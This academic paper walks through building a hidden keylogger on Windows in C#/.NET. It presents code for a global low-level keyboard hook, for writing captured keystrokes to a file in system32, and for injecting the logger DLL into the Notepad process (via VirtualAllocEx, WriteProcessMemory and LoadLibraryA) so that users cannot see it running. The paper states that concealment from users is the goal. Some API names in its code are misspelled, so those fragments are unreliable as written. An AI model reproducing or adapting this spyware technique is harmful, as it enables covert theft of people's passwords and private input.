Design and Implementation of Hidden Key Loggers Under .Net Platform

Zhiyuan An
Computer science and engineering department,
North china institute of aerospace engineering
LangFang, HeBei 065000, China
Azy01@263.net

HaiYan Liu
Computer science and engineering department,
North china institute of aerospace engineering
LangFang, HeBei 065000, China
zy-lhy@163.com

***Abstract*—keyboard recording technology has been widely applied to the system monitoring program.This paper describes the design and implementation keyboard loggers based on the the HOOK, under .NET platform. At the same time, in order to reach the hidden effect, record keyboard function module is inserted into the system processes, through the dynamic link library Insertion technology.**

Keywords-key loggers; hook; dynamic link library Insertion technology

I. INTRODUCTION

In the computing world, you can achieve on the track, some are out of consideration of system security, and some hackers want to achieve a certain purpose needs, however, they are concerned about the operation of the user, for example, the user performed procedure, which the input operation. Therefore necessary to study key loggers.

The system's development platform is .NET, using Windows Hook technology to monitor the keyboard percussion, it can record the user's keyboard operation. Meanwhile, in most cases people do not want users find such records, therefore used the dynamic link library Insertion to hide the key loggers.

II. HOOK TECHNOLOGY OVERVIEW

Windows operating system is built on top of the message-driven mechanism, the communication between the program through the mutual transfer of messages.The hook is a windows message handling mechanism of a platform. The hook is that Windows provides a systematic mechanism to replace the DOS "interrupt". The hook can intercept and handle messages sent to other applications, to complete the elusive function of general application.

Create the hook, insert a function in the Windows message processing chain, if the hook is installed successfully, you can monitor messages.All messages sent to the application will first be subjected to this function. In this way, before the keyboard message does not arrive at the destination window, the hook function can capture the message.

The principle of key loggers is to use the keyboard hook to intercept keyboard messages.Of course, not a key logger be sure to use the hook, such as WinEggDrop can also be a key logger.

If the hook only works where the program is called the local hook; If the hook to monitor the entire system, called the global hook. We do key loggers certainly hope for the entire system, so be sure to select the global hook. However, I used to write a global hook to use unmanaged C or C + + to write a DLL, but, C # is based on. Net Framework is managed, he wrote the DLL is not a standard DLL, just a class library. Use global hook under .Net environment, you need to install a low-level hook: WH_KEYBORAD_LL.

III. KEY LOGGER KEY TECHNOLOGIES

A. Import API functions

Because C # does not package this class, which can directly manipulate the underlying. So, you need to borrow the operating system interface functions.The first is SetWindowsHookEx function, the function will be the processing of an application-defined hook installed into the hook chain, you can install hooks to the processing of certain types of system events to monitor these events with a specific thread or all events related to the system.Function prototype:

HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);

idHook hook function type, where the type of keyboard type WH_KEYBOARD_LL in order to achieve global hook; Lpfn said hook function address; the hMod said function link library instance handle; dwThreadId said monitoring code 0 indicates that the overall function.

Next is CallNextHookEX, if the correlation function needs to pass information to the next filter function, then, in the mount function returns, you need to call the system API function CallNextHookEX function.Finally, when you need to uninstall the hook function, you need to call the system API function UnhookWindowsHookEx (lpfn) function.

These three systems API functions imported into the NET project. The import format is as follows:

```
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr SetWindowsHookEx(HookType hookType, HookProc hook, IntPtr instance, int threadID);
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
```

B. Delegate Events

The event is the message sent by an object. For example, the user presses a keyboard key, a file is changed, as well as on the socket data arrives, and so on.

Obviously, we are dealing with an event, but in C # to define an event, you first need to create a delegate. Use delegate to define the label of the event you want to use, then you can use the event keyword to define an event on a delegated basis. Delegate is a type in C # language, it is actually an ability to hold a reference class. Its functions is very similar to C / C + + function pointer.

Realization of a delegate is very simple, just three steps: Declare a delegate object; Create a delegate object; Call delegate object's method. Described below to install the hook as an example:

Declare a delegate object, who has the same parameters and return value type as what function you want to pass. Code as follows:

1) Declare a delegate object, who has the same parameters and return value type as what function you want to pass. Code as follows:

```
public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam);
```

2) Create a delegate object, and function to be passed as a parameter. Code to create a delegate object as follows:

```
HookProc hookProcEx = new HookProc(hookProc);
```

Among them, parameter hookProc is a function to be passed, defined as follows:

```
public IntPtr hookProc(int code, int wParam, IntPtr lParam)
{
  if (code >= 0)
  {
   KeyboardEvents kEvent = (KeyboardEvents)wParam;
   if (kEvent != KeyboardEvents.KeyDown &&
       kEvent != KeyboardEvents.KeyUp &&
       kEvent != KeyboardEvents.SystemKeyDown &&
       kEvent != KeyboardEvents.SystemKeyUp)
          {
            return CallNextHookEx(this.hookHandle, (int)HookType.WH_KEYBOARD_LL, wParam, lParam);//Pass the hook information to next hook in the linked list
          }
       KeyboardHookStruct MyKey = new KeyboardHookStruct();
       Type t = MyKey.GetType();
       MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, t);
       Keys keyData = (Keys)MyKey.vkCode;
       KeyboardEvent(kEvent, keyData);
      }
      return CallNextHookEx(this.hookHandle, (int)HookType.WH_KEYBOARD_LL, wParam, lParam);//Pass the hook information to next hook in the linked list
    }
```

3) In place to make asynchronous calls, the above object to call their own methods. Start the proxy event code is as follows:

```
SetWindowsHookEx(HookType.WH_KEYBOARD_LL, hookProcEx, this.instance, this.threadID);
```

Agent events are given above is to install the hook events, system events related to records keystrokes, the form of the definition is the same and install the hook event, then this is not repeat them here.

C. Record keyboard information

This step is relatively simple, in the the record keystrokes event, use the StreamWriter object write file. The key code is as follows:

```
StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt", true);
sw.WriteLine(keyDate + "key  " + keyEvents + "   ");
sw.Close();
```

IV. HIDDEN PROCESS TECHNOLOGY

he process is a form of existence when the program is running in memory, the object of a user action. Through the Task Manager to view the currently running processes in the system, and can start and stop a process.Therefore, in order to make key loggers is not easy to find, we need to hide its process.

Process Hiding Technology are typically three ways: remote thread insert, the dynamic link library insert and hook the API three technologies. As the project is more than one function, so can not simply use the remote thread insert to achieve hidden; hook API technologies usually for perpetrating a fraud, not particularly well suited to the characteristics of this program. Therefore, we realize the process hidden use the dynamic link library insert technology .

The program as a dynamic link library file, then this dynamic link library loading statements inserted into the

target process, so that attachment to the inserted vector run, to hide itself. The dynamic link library insert steps:

A. *reparation of the dynamic link library*

Under .NET environment, do the DLL is very simple, only need to set the project properties, output type class library, and then compile, you get the DLL file of the corresponding project.

B. *find Host*

find that the Host is looking for a pre-process. Notebook process notepad, for example, we need to use the Process class. The key codes are as follows:

```
Process[] pname = Process.GetProcesses(); //get all processes
foreach (Process name in pname) //Traversal process
{
  if (name.ProcessName.ToLower().IndexOf("notepad") != -1) //got the notepad process， then the following start to inject
  {……}//Injection
```

C. *application memory*

```
Void* VirtualAllocEx(
HANDLE hProcess, //host Process handle
LPVOID lpAddress, // Specify the starting address; 0 is automatically assigned

SIZE_T dwSize, // Want to apply for the memory size, byte units
DWORD flAllocationType, //type of memory
DWORD flProtect //memory Protection attributes
);
```

Function role: to retain or allocate memory space in the virtual space of the specified process. Return value: success, returns the allocated memory starting address, 0 failed.

Parameter "flAllocationType":

- *MEM_COMMIT （0x1000） Request "allocation"*
- *MEM_RESERVE（0x2000） Request "booking"*

Parameter "flProtect"：

- *PAGE_NOACCESS（0x01）： The memory can not be operating*
- *PAGE_READWRITE （0x04）： can read and write*
- *PAGE_READONLY （0x02）： can read*
- *PAGE_EXECUTE （0x10）： can run*
- *PAGE_EXECUTE_READ （0x20）： can read and run*
- *PAGE_EXECUTE_READWRITE （0x40）： can read, run and write*

The value in the project show as follow:

```
baseaddress = VirtualAllocEx(name.Handle, 0, dlllength, 4096, 4);
```

D. *Copy the DLL path*

Need to use the system API functions:

```
BOOL WriteProcessMemory(
HANDLE hProcess, // host Process handle
 LPVOID lpBaseAddress, //memory start address
LPVOID lpBuffer, //data source
DWORD nSize, //size
LPDWORD lpNumberOfBytesWritten
//Returns a pointer to the allocated memory space, if is 0 ignore the parameters
 );
```

Function role: to write the contents of a block of memory allocated to the target process; return value: 0 for false, non-0 on success.

The value in the project show as follow:

```
WriteProcessMemory(name.Handle, baseaddress, "report.dll", dlllength, temp); //wirte memory
```

E. *find the function address who load DLL*

The system calls the DLL API function is loadlibararyA. If the parasitic program call loadlibararyA. First of all, you need to to obtain loadlibararyA address in kernek32.dll. Need to use GetModuleHandleA and GetProcAddress API functions:

GetModuleHandleA：Load amic link library

GetProcAddress:Get the address of the function in the dynamic link library

The key codes of get the address of loadlibararyA function in kernek32.dll：

```
IntPtr hModule=GetModuleHandleA(“kernek32.dll”);//get the handle of kernek32.Dll

IntPtr farProc=GetProcAddress(hModule, “loadlibararyA” );//return the address of loadlibararyA function
```

V. SUMMARY

By using hook technology under .NET platform using C # language to record the user's keystroke loggers, and the use of a dynamic link library insert technology. Generated dynamic link library is inserted into the Notepad process, so the program can run hidden.I believe that for people who want to implement the monitoring program development under .NET platform, will certainly help.

ACKNOWLEDGMENT

We would like to thank the anonymous reviewers for their valuable comments. This research is supported by the

Langfang research and development projects for scientific and technological (2012011009&&2011011008).

REFERENCES

[1] CHEN Jun-jie, SHI Yong, XUE Zhi. Method of Key-logger Based on SSDT and Callback Function[J], COMPUTER ENGINEERING, 2010, 36(11)

[2] MA Jian-kun, HUANG Hao. Anti-key Logger Based on Hardware-assisted Virtualization[J], COMPUTER SCIENCE, 2011, 38(11)

[3] GUO Jin-zhi, LONG Hai, HUANG Hao . Intercept and cleanup message hooks in Windows operating system[J], COMPUTER ENGINEERING AND DESIGN, 2009, 30(18)

[4] WANG Hai-chen, SHI Yong, XUE Zhi. Research and Implementation of Secure Password Input under Windows[J]. CHINA INFORMATION SECURITY. 2011, (4)

[5] SUN Jianhua, LIU Jinlong. Keyboard Monitor by Journal Record Hook in VB[J]. COMPUTER PROGRAMMING SKILLS & MAINTENANCE . 2011, (2)

[6] Shi,Lei, Zhao,Huiran. Hook Function's Application on Digital Blackbox System[j]. CONTROL & AUTOMATION,2006, 22(21)

[7] ZHANG Xuan, WANG Hong-fei. Research and Design of Record and Review Based on Hook Function in Keyboard Events and Mouse Action[J]. JOURNAL OF LUOHE VOCATIONAL AND TECHNICAL COLLEGE, 2005, 4(1)